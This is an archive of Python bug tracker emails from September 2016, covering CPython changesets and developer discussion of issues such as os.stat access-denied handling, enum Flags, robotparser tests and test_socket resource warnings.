Message-ID: <20160911115240.12852.38509.1251FB3A@psf.io>


Roundup Robot added the comment:

New changeset 2193bd6f020c by Berker Peksag in branch 'default':
Issue #25497: Rewrite test_robotparser to use a class based design
https://hg.python.org/cpython/rev/2193bd6f020c

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25497>
_______________________________________

From report at bugs.python.org  Sun Sep 11 07:53:10 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 11 Sep 2016 11:53:10 +0000
Subject: [issue25497] Rewrite test_robotparser
In-Reply-To: <1446041150.72.0.906837091061.issue25497@psf.upfronthosting.co.za>
Message-ID: <1473594790.47.0.0609551621876.issue25497@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions:  -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25497>
_______________________________________

From report at bugs.python.org  Sun Sep 11 07:53:43 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 11:53:43 +0000
Subject: [issue25671] Fix venv activate.fish to maintain $status
In-Reply-To: <1447946690.19.0.336666934208.issue25671@psf.upfronthosting.co.za>
Message-ID: <20160911115341.18990.83722.670171BE@psf.io>


Roundup Robot added the comment:

New changeset f6125944ffb8 by Vinay Sajip in branch '3.5':
Fixes #25671: Updated prompt handling in activate.fish.
https://hg.python.org/cpython/rev/f6125944ffb8

New changeset ed34b93519ba by Vinay Sajip in branch 'default':
Closes #25671: Merged fix from 3.5.
https://hg.python.org/cpython/rev/ed34b93519ba

----------
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25671>
_______________________________________

From report at bugs.python.org  Sun Sep 11 07:55:50 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 11 Sep 2016 11:55:50 +0000
Subject: [issue25400] robotparser doesn't return crawl delay for default entry
In-Reply-To: <1444785702.73.0.849541373226.issue25400@psf.upfronthosting.co.za>
Message-ID: <1473594950.81.0.612656985869.issue25400@psf.upfronthosting.co.za>


Berker Peksag added the comment:

I've now updated Lib/test/test_robotparser.py (issue 25497) Peter, do you have time to update your patch? Thanks!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25400>
_______________________________________

From report at bugs.python.org  Sun Sep 11 07:56:25 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 11 Sep 2016 11:56:25 +0000
Subject: [issue10740] sqlite3 module breaks transactions and potentially
 corrupts data
In-Reply-To: <1292868135.81.0.257293444934.issue10740@psf.upfronthosting.co.za>
Message-ID: <1473594985.75.0.146213635796.issue10740@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10740>
_______________________________________

From report at bugs.python.org  Sun Sep 11 08:03:25 2016
From: report at bugs.python.org (Eryk Sun)
Date: Sun, 11 Sep 2016 12:03:25 +0000
Subject: [issue28075] os.stat fails when access is denied
In-Reply-To: <1473584680.43.0.379847844225.issue28075@psf.upfronthosting.co.za>
Message-ID: <1473595405.89.0.836499876285.issue28075@psf.upfronthosting.co.za>


Eryk Sun added the comment:

Python 3's os.stat tries to open a handle for the file or directory in order to call GetFileInformationByHandle. Opening a file handle via CreateFile requests at least FILE_READ_ATTRIBUTES and SYNCHRONIZE access when it calls NtCreateFile. If access is denied, os.stat is supposed to fall back on the basic WIN32_FIND_DATA information from FindFirstFile. However, it's not working as intended. For example:

    >>> import os
    >>> os.mkdir('test')
    >>> os.system('icacls test /deny Users:(S,RA)')
    processed file: test
    Successfully processed 1 files; Failed processing 0 files
    0

    >>> os.stat('test')
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    PermissionError: [WinError 5] Access is denied: 'test'

The problem is that it's mistakenly checking for ERROR_SHARING_VIOLATION instead of ERROR_ACCESS_DENIED. Technically, getting a sharing violation should be impossible here. That only applies to requesting execute (traverse), read (list), write (add file), append (add subdirectory), or delete access for the contents of the file or directory, not its metadata.

After modifying the code to instead check for ERROR_ACCESS_DENIED, os.stat correctly falls back on using the file attributes from the WIN32_FIND_DATA:

    >>> os.stat('test')
    os.stat_result(st_mode=16895, st_ino=0, st_dev=0, st_nlink=0, 
    st_uid=0, st_gid=0, st_size=0, st_atime=1473589600, 
    st_mtime=1473589600, st_ctime=1473589600)

----------
nosy: +eryksun
title: py35 os.stat behavoir different than python 2.7 -> os.stat fails when access is denied
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28075>
_______________________________________

From report at bugs.python.org  Sun Sep 11 08:06:04 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Sun, 11 Sep 2016 12:06:04 +0000
Subject: [issue28061] Compact dict bug on Windows (Visual Studio): if
 (mp->ma_keys->dk_usable * 3 < other->ma_used * 2)
In-Reply-To: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>
Message-ID: <1473595564.29.0.0152782977494.issue28061@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Huh, weird. I'm running a win32 build on a 64 bits machine, with VS2015. I didn't have time to test on a clean checkout, I will do that first thing when I'm back home tonight. I hope I did something wrong and there really isn't any issue :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Sun Sep 11 08:09:11 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 11 Sep 2016 12:09:11 +0000
Subject: [issue27952] Finish converting fixcid.py from regex to re
In-Reply-To: <1472969793.48.0.218337698391.issue27952@psf.upfronthosting.co.za>
Message-ID: <1473595751.81.0.159364306897.issue27952@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27952>
_______________________________________

From report at bugs.python.org  Sun Sep 11 08:16:05 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 12:16:05 +0000
Subject: [issue26533] logging.config does not allow
 disable_existing_loggers=True
In-Reply-To: <1457648926.18.0.758256853063.issue26533@psf.upfronthosting.co.za>
Message-ID: <20160911121602.21256.71386.964CC7F9@psf.io>


Roundup Robot added the comment:

New changeset 65a1abf4b432 by Vinay Sajip in branch '3.5':
Closed #26533: expanded on behaviour of logging.config.listen().
https://hg.python.org/cpython/rev/65a1abf4b432

New changeset abd744bf62fb by Vinay Sajip in branch 'default':
Closed #26533: Merged update from 3.5.
https://hg.python.org/cpython/rev/abd744bf62fb

----------
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26533>
_______________________________________

From report at bugs.python.org  Sun Sep 11 08:19:39 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 12:19:39 +0000
Subject: [issue27129] Wordcode, part 2
In-Reply-To: <1464268387.83.0.862540030058.issue27129@psf.upfronthosting.co.za>
Message-ID: <20160911121936.18827.56559.C91CE37B@psf.io>


Roundup Robot added the comment:

New changeset b49a938eaa31 by Serhiy Storchaka in branch 'default':
Fixed refactoring bug in dd046963bd42 (issue27129).
https://hg.python.org/cpython/rev/b49a938eaa31

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27129>
_______________________________________

From report at bugs.python.org  Sun Sep 11 08:20:42 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 11 Sep 2016 12:20:42 +0000
Subject: [issue27129] Wordcode, part 2
In-Reply-To: <1464268387.83.0.862540030058.issue27129@psf.upfronthosting.co.za>
Message-ID: <1473596442.43.0.198514524168.issue27129@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Thanks Berker!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27129>
_______________________________________

From report at bugs.python.org  Sun Sep 11 08:36:57 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 12:36:57 +0000
Subject: [issue28036] Remove unused pysqlite_flush_statement_cache function
In-Reply-To: <1473399471.98.0.74217614333.issue28036@psf.upfronthosting.co.za>
Message-ID: <20160911123654.59475.54065.4402055E@psf.io>


Roundup Robot added the comment:

New changeset 0bd7fe9b0bd7 by Berker Peksag in branch 'default':
Issue #28036: Remove unused pysqlite_flush_statement_cache function
https://hg.python.org/cpython/rev/0bd7fe9b0bd7

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28036>
_______________________________________

From report at bugs.python.org  Sun Sep 11 08:37:15 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 11 Sep 2016 12:37:15 +0000
Subject: [issue28036] Remove unused pysqlite_flush_statement_cache function
In-Reply-To: <1473399471.98.0.74217614333.issue28036@psf.upfronthosting.co.za>
Message-ID: <1473597435.9.0.260670964459.issue28036@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28036>
_______________________________________

From report at bugs.python.org  Sun Sep 11 08:45:35 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 12:45:35 +0000
Subject: [issue20100] epoll docs are not clear with regards to CLOEXEC.
In-Reply-To: <1388505494.08.0.643576998185.issue20100@psf.upfronthosting.co.za>
Message-ID: <20160911124532.20970.55859.DFE8CEC1@psf.io>


Roundup Robot added the comment:

New changeset 9023c4f5d467 by Berker Peksag in branch '3.5':
Issue #20100: Clarify that passing flags to epoll() has no effect
https://hg.python.org/cpython/rev/9023c4f5d467

New changeset d2b5806fa770 by Berker Peksag in branch 'default':
Issue #20100: Merge from 3.5
https://hg.python.org/cpython/rev/d2b5806fa770

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20100>
_______________________________________

From report at bugs.python.org  Sun Sep 11 08:46:38 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 11 Sep 2016 12:46:38 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473597998.56.0.633920961528.issue27213@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Please attach a reproducer Berker. I still can't reproduce crashes. Maybe it depends on platform or installed third-party module or Python command line options.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Sun Sep 11 08:55:49 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 12:55:49 +0000
Subject: [issue24454] Improve the usability of the match object named group API
In-Reply-To: <1434340072.54.0.23336337946.issue24454@psf.upfronthosting.co.za>
Message-ID: <20160911125546.1702.86735.FDDF0396@psf.io>


Roundup Robot added the comment:

New changeset ac0643314d12 by Eric V. Smith in branch 'default':
Issue 24454: Improve the usability of the re match object named group API
https://hg.python.org/cpython/rev/ac0643314d12

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24454>
_______________________________________

From report at bugs.python.org  Sun Sep 11 08:59:04 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Sun, 11 Sep 2016 12:59:04 +0000
Subject: [issue24454] Improve the usability of the match object named group API
In-Reply-To: <1434340072.54.0.23336337946.issue24454@psf.upfronthosting.co.za>
Message-ID: <1473598743.99.0.615781868679.issue24454@psf.upfronthosting.co.za>


Changes by Eric V. Smith <eric at trueblade.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24454>
_______________________________________

From report at bugs.python.org  Sun Sep 11 09:06:31 2016
From: report at bugs.python.org (Tim Golden)
Date: Sun, 11 Sep 2016 13:06:31 +0000
Subject: [issue28065] Update Windows build to xz-5.2.2
In-Reply-To: <1473532930.34.0.476598665602.issue28065@psf.upfronthosting.co.za>
Message-ID: <499e136c-4664-fa0d-57d9-238c0728bd69@timgolden.me.uk>


Tim Golden added the comment:

Applies, builds & tests ok for me for Win32 Release build (ie build.bat 
-e) on Win 8.1 x64.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28065>
_______________________________________

From report at bugs.python.org  Sun Sep 11 09:11:35 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 11 Sep 2016 13:11:35 +0000
Subject: [issue20100] epoll docs are not clear with regards to CLOEXEC.
In-Reply-To: <1388505494.08.0.643576998185.issue20100@psf.upfronthosting.co.za>
Message-ID: <1473599495.57.0.896212518935.issue20100@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Here is an updated patch for Modules/selectmodule.c. It would be nice to get a code review.

----------
Added file: http://bugs.python.org/file44553/selectmodule.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20100>
_______________________________________

From report at bugs.python.org  Sun Sep 11 09:19:28 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 11 Sep 2016 13:19:28 +0000
Subject: [issue24454] Improve the usability of the match object named group API
In-Reply-To: <1434340072.54.0.23336337946.issue24454@psf.upfronthosting.co.za>
Message-ID: <1473599968.3.0.47795364046.issue24454@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Please document this feature in What's News Eric.

There is no need to add the __getitem__ method explicitly the the list of methods match_methods. It would be added automatically.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24454>
_______________________________________

From report at bugs.python.org  Sun Sep 11 09:27:10 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Sun, 11 Sep 2016 13:27:10 +0000
Subject: [issue24454] Improve the usability of the match object named group API
In-Reply-To: <1434340072.54.0.23336337946.issue24454@psf.upfronthosting.co.za>
Message-ID: <1473600430.25.0.0171209318022.issue24454@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

I added a note in Misc/NEWS. Is that not what you mean?

I'll look at match_methods.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24454>
_______________________________________

From report at bugs.python.org  Sun Sep 11 09:40:33 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 11 Sep 2016 13:40:33 +0000
Subject: [issue24454] Improve the usability of the match object named group API
In-Reply-To: <1473600430.25.0.0171209318022.issue24454@psf.upfronthosting.co.za>
Message-ID: <2645134.AGtVVTapep@xarax>


Serhiy Storchaka added the comment:

I meant Doc/whatsnew/3.6.rst.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24454>
_______________________________________

From report at bugs.python.org  Sun Sep 11 09:41:35 2016
From: report at bugs.python.org (Steve Dower)
Date: Sun, 11 Sep 2016 13:41:35 +0000
Subject: [issue28061] Compact dict bug on Windows (Visual Studio): if
 (mp->ma_keys->dk_usable * 3 < other->ma_used * 2)
In-Reply-To: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>
Message-ID: <1473601295.62.0.582892055184.issue28061@psf.upfronthosting.co.za>


Steve Dower added the comment:

It's unlikely, but we also print out the UCRT version at the end of the build process (with a warning if you need to update the WinSDK).

I built and tested a number of times with this change though. If suggest hg purge and rebuild to make sure everything is clean.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Sun Sep 11 09:50:56 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 13:50:56 +0000
Subject: [issue24454] Improve the usability of the match object named group API
In-Reply-To: <1434340072.54.0.23336337946.issue24454@psf.upfronthosting.co.za>
Message-ID: <20160911135053.48632.21249.90669144@psf.io>


Roundup Robot added the comment:

New changeset 3265247e08f0 by Eric V. Smith in branch 'default':
Issue 24454: Added whatsnew entry, removed __getitem__ from match_methods. Thanks Serhiy Storchaka.
https://hg.python.org/cpython/rev/3265247e08f0

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24454>
_______________________________________

From report at bugs.python.org  Sun Sep 11 09:51:17 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Sun, 11 Sep 2016 13:51:17 +0000
Subject: [issue24454] Improve the usability of the match object named group API
In-Reply-To: <1434340072.54.0.23336337946.issue24454@psf.upfronthosting.co.za>
Message-ID: <1473601877.94.0.537122027961.issue24454@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

Fixed. Thanks, Serhiy.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24454>
_______________________________________

From report at bugs.python.org  Sun Sep 11 10:05:13 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 11 Sep 2016 14:05:13 +0000
Subject: [issue24454] Improve the usability of the match object named group API
In-Reply-To: <1473601877.94.0.537122027961.issue24454@psf.upfronthosting.co.za>
Message-ID: <3330688.XQFQ5eg4NQ@xarax>


Serhiy Storchaka added the comment:

./Modules/_sre.c:2425:14: warning: ?match_getitem_doc? defined but not used [-
Wunused-variable]

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24454>
_______________________________________

From report at bugs.python.org  Sun Sep 11 10:11:27 2016
From: report at bugs.python.org (Eryk Sun)
Date: Sun, 11 Sep 2016 14:11:27 +0000
Subject: [issue28075] os.stat fails when access is denied
In-Reply-To: <1473584680.43.0.379847844225.issue28075@psf.upfronthosting.co.za>
Message-ID: <1473603087.69.0.836342651634.issue28075@psf.upfronthosting.co.za>


Eryk Sun added the comment:

I overlooked attempting to open a paging-file for any access, which is hard coded as a sharing violation. The attached patch checks for both cases.

----------
keywords: +patch
Added file: http://bugs.python.org/file44554/issue_28075_01.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28075>
_______________________________________

From report at bugs.python.org  Sun Sep 11 10:17:07 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 14:17:07 +0000
Subject: [issue23105] os.O_SHLOCK and os.O_EXLOCK are not available on Linux
In-Reply-To: <1419345535.42.0.312768269587.issue23105@psf.upfronthosting.co.za>
Message-ID: <20160911141704.12492.16913.5455B497@psf.io>


Roundup Robot added the comment:

New changeset 5ca4c545dfe4 by Vinay Sajip in branch '2.7':
Issue #23105: Updated documentation on open() flag constants.
https://hg.python.org/cpython/rev/5ca4c545dfe4

New changeset f1427491a8a5 by Vinay Sajip in branch '3.5':
Issue #23105: Updated documentation on open() flag constants.
https://hg.python.org/cpython/rev/f1427491a8a5

New changeset 64610bcd326f by Vinay Sajip in branch 'default':
Closes #23105: Merged update from 3.5.
https://hg.python.org/cpython/rev/64610bcd326f

----------
nosy: +python-dev
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23105>
_______________________________________

From report at bugs.python.org  Sun Sep 11 10:18:16 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Sun, 11 Sep 2016 14:18:16 +0000
Subject: [issue24454] Improve the usability of the match object named group API
In-Reply-To: <3330688.XQFQ5eg4NQ@xarax>
Message-ID: <a25e8863-27d3-f2df-da40-0d811b0f9e2d@trueblade.com>


Eric V. Smith added the comment:

On 9/11/2016 10:05 AM, Serhiy Storchaka wrote:
>
> Serhiy Storchaka added the comment:
>
> ./Modules/_sre.c:2425:14: warning: ?match_getitem_doc? defined but not used [-
> Wunused-variable]

Not in Visual Studio!

Standby.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24454>
_______________________________________

From report at bugs.python.org  Sun Sep 11 10:20:39 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 14:20:39 +0000
Subject: [issue24454] Improve the usability of the match object named group API
In-Reply-To: <1434340072.54.0.23336337946.issue24454@psf.upfronthosting.co.za>
Message-ID: <20160911142031.87525.86897.1D39BA81@psf.io>


Roundup Robot added the comment:

New changeset 9eb38e0f1cad by Eric V. Smith in branch 'default':
Issue 24454: Removed unused match_getitem_doc.
https://hg.python.org/cpython/rev/9eb38e0f1cad

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24454>
_______________________________________

From report at bugs.python.org  Sun Sep 11 10:27:12 2016
From: report at bugs.python.org (Ed Schouten)
Date: Sun, 11 Sep 2016 14:27:12 +0000
Subject: [issue28066] [Patch] Fix the ability to cross compile Python when
 doing a rebuild of importlib.h
In-Reply-To: <1473534121.66.0.287629200488.issue28066@psf.upfronthosting.co.za>
Message-ID: <1473604032.3.0.567652057641.issue28066@psf.upfronthosting.co.za>


Ed Schouten added the comment:

It does. I can now cross build Python for CloudABI by copying importlib.h and importlib_external.h from the native build directory to the target build directory. Thanks!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28066>
_______________________________________

From report at bugs.python.org  Sun Sep 11 10:45:53 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sun, 11 Sep 2016 14:45:53 +0000
Subject: [issue28077] Fix find_empty_slot in dictobject
Message-ID: <1473605153.7.0.216174732539.issue28077@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

find_empty_slot will also do *value_addr = &mp->ma_values[-1] if it encounters a split dict.

----------
components: Interpreter Core
files: find_empty_slot.patch
keywords: patch
messages: 275800
nosy: haypo, methane, xiang.zhang
priority: normal
severity: normal
stage: patch review
status: open
title: Fix find_empty_slot in dictobject
type: crash
versions: Python 3.6
Added file: http://bugs.python.org/file44555/find_empty_slot.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28077>
_______________________________________

From report at bugs.python.org  Sun Sep 11 10:57:53 2016
From: report at bugs.python.org (Ethan Furman)
Date: Sun, 11 Sep 2016 14:57:53 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473605873.69.0.606078760457.issue23591@psf.upfronthosting.co.za>


Ethan Furman added the comment:

>> Which means it has methods such as __getitem__, __setitem__, etc.,
>> which means those methods can implement whatever is needed to give
>> the namespace the desired semantics (within Python syntax).

> Ah, _that_'s what you had in mind. (All this time, I thought _auto_
> was just a shorter name for _generate_next_value_.:) I'm ok with that.
> But aren't we then back to square one? (Using magic of the same kind
> as the "declarative style" that Raymond pronounced not Pythonic enough.)

Not at all.  The concern with that proposal (issue26988: AutoEnum via completely omitting values of any kind) was the transformation of a NameError into a value.  The current method is taking a unique object and transforming that into a value, which is entirely analagous to what Enum already does.

Besides being convenient, it's also necessary to present a cohesive, non-leaky abstraction to the user where Flag is concerned: using ints as the flag values is entirely an implementation detail, but without auto the user would be forced to manage that implementation detail when creating the Flag, which negates much of Flag's value.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Sun Sep 11 10:59:33 2016
From: report at bugs.python.org (Ethan Furman)
Date: Sun, 11 Sep 2016 14:59:33 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473605973.75.0.0944155602883.issue23591@psf.upfronthosting.co.za>


Ethan Furman added the comment:

Many thanks to everyone for their input and help.

----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Sun Sep 11 11:47:32 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sun, 11 Sep 2016 15:47:32 +0000
Subject: [issue28078] Silence resource warnings in test_socket
Message-ID: <1473608852.44.0.362868220522.issue28078@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

test_aead_aes_gcm (test.test_socket.LinuxKernelCryptoAPI) ... /home/angwer/cpython/Lib/unittest/case.py:600: ResourceWarning: unclosed <socket.socket fd=3, family=AddressFamily.AF_ALG, type=SocketKind.SOCK_SEQPACKET, proto=0>
  testMethod()
skipped "('[Errno 2] No such file or directory', 'aead', 'gcm(aes)')"
test_sendmsg_afalg_args (test.test_socket.LinuxKernelCryptoAPI) ... /home/angwer/cpython/Lib/unittest/case.py:600: ResourceWarning: unclosed <socket.socket fd=3, family=AddressFamily.AF_ALG, type=SocketKind.SOCK_SEQPACKET, proto=0>
  testMethod()
ok

Christian, after issue27744, there are 2 resource warnings in test_socket. test_socket.patch eliminates them.

----------
components: Tests
messages: 275803
nosy: christian.heimes, xiang.zhang
priority: normal
severity: normal
stage: patch review
status: open
title: Silence resource warnings in test_socket
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28078>
_______________________________________

From report at bugs.python.org  Sun Sep 11 11:48:03 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sun, 11 Sep 2016 15:48:03 +0000
Subject: [issue28078] Silence resource warnings in test_socket
In-Reply-To: <1473608852.44.0.362868220522.issue28078@psf.upfronthosting.co.za>
Message-ID: <1473608883.83.0.574804971837.issue28078@psf.upfronthosting.co.za>


Changes by Xiang Zhang <angwerzx at 126.com>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44556/test_socket.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28078>
_______________________________________

From report at bugs.python.org  Sun Sep 11 12:20:07 2016
From: report at bugs.python.org (Georg Brandl)
Date: Sun, 11 Sep 2016 16:20:07 +0000
Subject: [issue26331] PEP 515: Tokenizer: allow underscores for grouping in
 numeric literals
In-Reply-To: <1455126624.48.0.163167904941.issue26331@psf.upfronthosting.co.za>
Message-ID: <1473610807.78.0.0612022715721.issue26331@psf.upfronthosting.co.za>


Georg Brandl added the comment:

Thanks Brett!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26331>
_______________________________________

From report at bugs.python.org  Sun Sep 11 12:24:39 2016
From: report at bugs.python.org (Eli_B)
Date: Sun, 11 Sep 2016 16:24:39 +0000
Subject: [issue27715] call-matcher breaks if a method is mocked with spec=True
In-Reply-To: <1470710605.81.0.432461136624.issue27715@psf.upfronthosting.co.za>
Message-ID: <1473611079.88.0.867861876628.issue27715@psf.upfronthosting.co.za>


Changes by Eli_B <eli.boyarski at gmail.com>:


----------
nosy: +Eli_B

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27715>
_______________________________________

From report at bugs.python.org  Sun Sep 11 12:36:18 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 11 Sep 2016 16:36:18 +0000
Subject: [issue28078] Silence resource warnings in test_socket
In-Reply-To: <1473608852.44.0.362868220522.issue28078@psf.upfronthosting.co.za>
Message-ID: <1473611778.72.0.762566064359.issue28078@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Thanks! The first fix looks good. For the second one I'd rather wrap the test body in a with statement:

    def test_sendmsg_afalg_args(self):
        sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
        with sock:
            with self.assertRaises(TypeError):
                sock.sendmsg_afalg()
            ...

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28078>
_______________________________________

From report at bugs.python.org  Sun Sep 11 12:40:35 2016
From: report at bugs.python.org (=?utf-8?b?0JLQu9Cw0LQg0JrQu9GO0YfQutC10Lk=?=)
Date: Sun, 11 Sep 2016 16:40:35 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473612035.97.0.819387498289.issue27213@psf.upfronthosting.co.za>


Changes by ???? ??????? <vlad.klyuchkey at gmail.com>:


----------
hgrepos: +354
Added file: http://bugs.python.org/file44557/IMG_20160830_174452.jpg

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Sun Sep 11 12:40:52 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sun, 11 Sep 2016 16:40:52 +0000
Subject: [issue28078] Silence resource warnings in test_socket
In-Reply-To: <1473608852.44.0.362868220522.issue28078@psf.upfronthosting.co.za>
Message-ID: <1473612052.02.0.484297103197.issue28078@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

It's your code. Do what you like. :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28078>
_______________________________________

From report at bugs.python.org  Sun Sep 11 12:43:52 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 11 Sep 2016 16:43:52 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473612232.22.0.865046473448.issue27213@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


Removed file: http://bugs.python.org/file44557/IMG_20160830_174452.jpg

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Sun Sep 11 12:45:34 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 16:45:34 +0000
Subject: [issue28076] Variable annotations should be mangled for private names
In-Reply-To: <1473591058.67.0.814364410538.issue28076@psf.upfronthosting.co.za>
Message-ID: <20160911164532.69722.37646.185F47BF@psf.io>


Roundup Robot added the comment:

